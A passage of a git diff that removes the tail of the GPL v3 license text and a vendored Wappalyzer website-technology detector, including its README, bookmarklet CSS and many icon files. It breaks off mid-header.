equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. \ No newline at end of file diff --git a/Wappalyzer/README.md b/Wappalyzer/README.md deleted file mode 100644 index ed5b44b..0000000 --- a/Wappalyzer/README.md +++ /dev/null @@ -1,22 +0,0 @@ -# Wappalyzer - -[Wappalyzer](https://wappalyzer.com/) is a -[cross-platform](https://github.com/ElbertF/Wappalyzer/wiki/Drivers) utility that uncovers the -technologies used on websites. It detects -[content management systems](https://wappalyzer.com/categories/cms), -[eCommerce platforms](https://wappalyzer.com/categories/ecommerce), -[web servers](https://wappalyzer.com/categories/web-servers), -[JavaScript frameworks](https://wappalyzer.com/categories/javascript-frameworks), -[analytics tools](https://wappalyzer.com/categories/analytics) and -[many more](https://wappalyzer.com/applications). - -Refer to the [wiki](https://github.com/ElbertF/Wappalyzer/wiki) for -[screenshots](https://github.com/ElbertF/Wappalyzer/wiki/Screenshots), information on how to -[contribute](https://github.com/ElbertF/Wappalyzer/wiki/Contributing) and -[more](https://github.com/ElbertF/Wappalyzer/wiki/_pages). - -*Licensed under the [GPL](https://github.com/ElbertF/Wappalyzer/blob/master/LICENSE).* - -Donate Bitcoin: 16gb4uGDAjaeRJwKVmKr2EXa8x2fmvT8EQ - *Thanks!* - -![QR Code](https://wappalyzer.com/sites/default/themes/wappalyzer/images/bitcoinqrcode.png) diff --git a/Wappalyzer/drivers/bookmarklet/css/wappalyzer.css b/Wappalyzer/drivers/bookmarklet/css/wappalyzer.css deleted file mode 100644 index 6783665..0000000 --- a/Wappalyzer/drivers/bookmarklet/css/wappalyzer.css +++ /dev/null @@ -1,118 +0,0 @@ -div#wappalyzer-container * { - background-color: transparent !important; - border: none !important; - border-left: none !important; - border-top: none !important; - border-right: none !important; - border-bottom: none !important; - border-spacing: 0 !important; - color: inherit !important; - font-size: inherit !important; - font-weight: inherit !important; - font-family: inherit !important; - font-style: inherit !important; - line-height: inherit !important; - list-style: none inside !important; - margin: 0 !important; - outline: none !important; - padding: 0 !important; - text-align: inherit !important; - text-decoration: none !important; - white-space: inherit !important; -} - -#wappalyzer-container { - background: #fff !important; - border: 1px solid #999; - box-shadow: 0 0 10px rgba(0, 0, 0, .2) !important; - color: #222 !important; - font-family: Arial, sans-serif !important; - font-size: 14px !important; - line-height: 1.5em !important; - margin: 0 !important; - position: fixed !important; - text-align: left !important; - right: 20px !important; - top: 20px !important; - width: 250px !important; - z-index: 99999 !important; -} - - #wappalyzer-container #wappalyzer-pending { - background-repeat: no-repeat !important; - background-position: center center !important; - height: 60px !important; - } - - #wappalyzer-container a#wappalyzer-close:link, - #wappalyzer-container a#wappalyzer-close:hover, - #wappalyzer-container a#wappalyzer-close:active, - #wappalyzer-container a#wappalyzer-close:visited { - background: #f8f8f8 !important; - border-bottom: 1px solid #ccc !important; - display: block !important; - font-weight: bold !important; - line-height: 30px !important; - text-align: center !important; - } - - #wappalyzer-container #wappalyzer-close:hover { - background: #f4f4f4 !important; - color: #0072B6 !important; - } - - #wappalyzer-container #wappalyzer-empty { - border-bottom: 1px solid #ccc !important; - color: #999 !important; - display: block !important; - line-height: 30px !important; - text-align: center !important; - } - - #wappalyzer-container #wappalyzer-apps { - padding-top: 2px !important; - } - - #wappalyzer-container #wappalyzer-apps img { - vertical-align: middle !important; - } - - #wappalyzer-container #wappalyzer-apps a:link, - #wappalyzer-container #wappalyzer-apps a:hover, - #wappalyzer-container #wappalyzer-apps a:active, - #wappalyzer-container #wappalyzer-apps a:visited { - display: block !important; - text-decoration: none !important; - } - - #wappalyzer-container #wappalyzer-apps a:hover { - color: #0072B6 !important; - } - - #wappalyzer-container #wappalyzer-apps div.wappalyzer-app { - background: #fff !important; - border-radius: 5px !important; - -moz-border-radius: 5px !important; - -webkit-border-radius: 5px !important; - margin: 0 2px 2px 2px !important; - padding: 7px 10px !important; - } - - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:link, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:hover, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:active, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-application:visited { - font-weight: bold !important; - margin-bottom: 3px !important; - } - - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:link, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:hover, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:active, - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:visited { - color: #999 !important; - } - - #wappalyzer-container #wappalyzer-apps a.wappalyzer-category:hover { - color: #0072B6 !important; - } diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/1C-Bitrix.png b/Wappalyzer/drivers/bookmarklet/images/icons/1C-Bitrix.png deleted file mode 100644 index 0d9b16a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/1C-Bitrix.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/1und1.png b/Wappalyzer/drivers/bookmarklet/images/icons/1und1.png deleted file mode 100644 index 6343218..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/1und1.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/2z Project.png b/Wappalyzer/drivers/bookmarklet/images/icons/2z Project.png deleted file mode 100644 index edc1f21..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/2z Project.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/3DM.png b/Wappalyzer/drivers/bookmarklet/images/icons/3DM.png deleted file mode 100755 index f3115c7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/3DM.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/3dCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/3dCart.png deleted file mode 100644 index 6813cc2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/3dCart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/3ware.png b/Wappalyzer/drivers/bookmarklet/images/icons/3ware.png deleted file mode 100755 index f3115c7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/3ware.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AMPcms.png b/Wappalyzer/drivers/bookmarklet/images/icons/AMPcms.png deleted file mode 100644 index 1d528c8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AMPcms.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AOLserver.png b/Wappalyzer/drivers/bookmarklet/images/icons/AOLserver.png deleted file mode 100644 index 482bcdd..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AOLserver.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet Analyzer.png b/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet Analyzer.png deleted file mode 100644 index 8d058a1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet Analyzer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet XiTi.png b/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet XiTi.png deleted file mode 100644 index 8d058a1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AT Internet XiTi.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ATEN.png b/Wappalyzer/drivers/bookmarklet/images/icons/ATEN.png deleted file mode 100755 index 512bd41..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ATEN.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ATG Web Commerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/ATG Web Commerce.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ATG Web Commerce.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AWStats.png b/Wappalyzer/drivers/bookmarklet/images/icons/AWStats.png deleted file mode 100644 index 586e61a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AWStats.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Accessible Portal.png b/Wappalyzer/drivers/bookmarklet/images/icons/Accessible Portal.png deleted file mode 100644 index 688c112..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Accessible Portal.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AdInfinity.png b/Wappalyzer/drivers/bookmarklet/images/icons/AdInfinity.png deleted file mode 100644 index 0ca2ca5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AdInfinity.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AdRiver.png b/Wappalyzer/drivers/bookmarklet/images/icons/AdRiver.png deleted file mode 100644 index be6b259..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AdRiver.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AdRoll.png b/Wappalyzer/drivers/bookmarklet/images/icons/AdRoll.png deleted file mode 100644 index d609e56..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AdRoll.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adcash.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adcash.png deleted file mode 100644 index 3572b3f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Adcash.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AddShoppers.png b/Wappalyzer/drivers/bookmarklet/images/icons/AddShoppers.png deleted file mode 100644 index 746b002..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AddShoppers.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AddThis.png b/Wappalyzer/drivers/bookmarklet/images/icons/AddThis.png deleted file mode 100644 index 39ca0c9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AddThis.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe CQ5.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adobe CQ5.png deleted file mode 100644 index 8c827a8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe CQ5.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe ColdFusion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adobe ColdFusion.png deleted file mode 100644 index b8424fb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe ColdFusion.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe GoLive.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adobe GoLive.png deleted file mode 100644 index 65c7df7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe GoLive.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe Muse.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adobe Muse.png deleted file mode 100644 index 95f4cc8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe Muse.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe RoboHelp.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adobe RoboHelp.png deleted file mode 100644 index 1acbeb5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe RoboHelp.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Advanced Web Stats.png b/Wappalyzer/drivers/bookmarklet/images/icons/Advanced Web Stats.png deleted file mode 100644 index 1a7c85e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Advanced Web Stats.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Advert Stream.png b/Wappalyzer/drivers/bookmarklet/images/icons/Advert Stream.png deleted file mode 100644 index 0e6ee5a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Advert Stream.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adzerk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adzerk.png deleted file mode 100644 index f16159b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Adzerk.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Airee.png b/Wappalyzer/drivers/bookmarklet/images/icons/Airee.png deleted file mode 100644 index b35de31..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Airee.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Akamai.png b/Wappalyzer/drivers/bookmarklet/images/icons/Akamai.png deleted file mode 100644 index fa2be98..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Akamai.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Algolia Realtime Search.png b/Wappalyzer/drivers/bookmarklet/images/icons/Algolia Realtime Search.png deleted file mode 100644 index bf33566..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Algolia Realtime Search.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Allegro RomPager.png b/Wappalyzer/drivers/bookmarklet/images/icons/Allegro RomPager.png deleted file mode 100644 index 2815e76..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Allegro RomPager.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Alloy.png b/Wappalyzer/drivers/bookmarklet/images/icons/Alloy.png deleted file mode 100755 index 56a9952..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Alloy.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AlloyUI.png b/Wappalyzer/drivers/bookmarklet/images/icons/AlloyUI.png deleted file mode 100644 index 227cdc4..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AlloyUI.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Amaya.png b/Wappalyzer/drivers/bookmarklet/images/icons/Amaya.png deleted file mode 100644 index f8f1f9b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Amaya.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ametys.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ametys.png deleted file mode 100644 index de1c3d7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ametys.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Amiro.CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Amiro.CMS.png deleted file mode 100644 index 3ea8263..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Amiro.CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Anchor CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Anchor CMS.png deleted file mode 100644 index 121c2f2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Anchor CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AngularJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/AngularJS.png deleted file mode 100644 index 6dc0783..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/AngularJS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache HBase.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache HBase.png deleted file mode 100644 index 113d901..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Apache HBase.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Hadoop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Hadoop.png deleted file mode 100755 index 54c4656..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Hadoop.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache JSPWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache JSPWiki.png deleted file mode 100644 index a25eaab..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Apache JSPWiki.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Tomcat.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Tomcat.png deleted file mode 100644 index 2f099c3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Tomcat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Traffic Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Traffic Server.png deleted file mode 100644 index b1a453f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Traffic Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Apache Wicket.png b/Wappalyzer/drivers/bookmarklet/images/icons/Apache Wicket.png 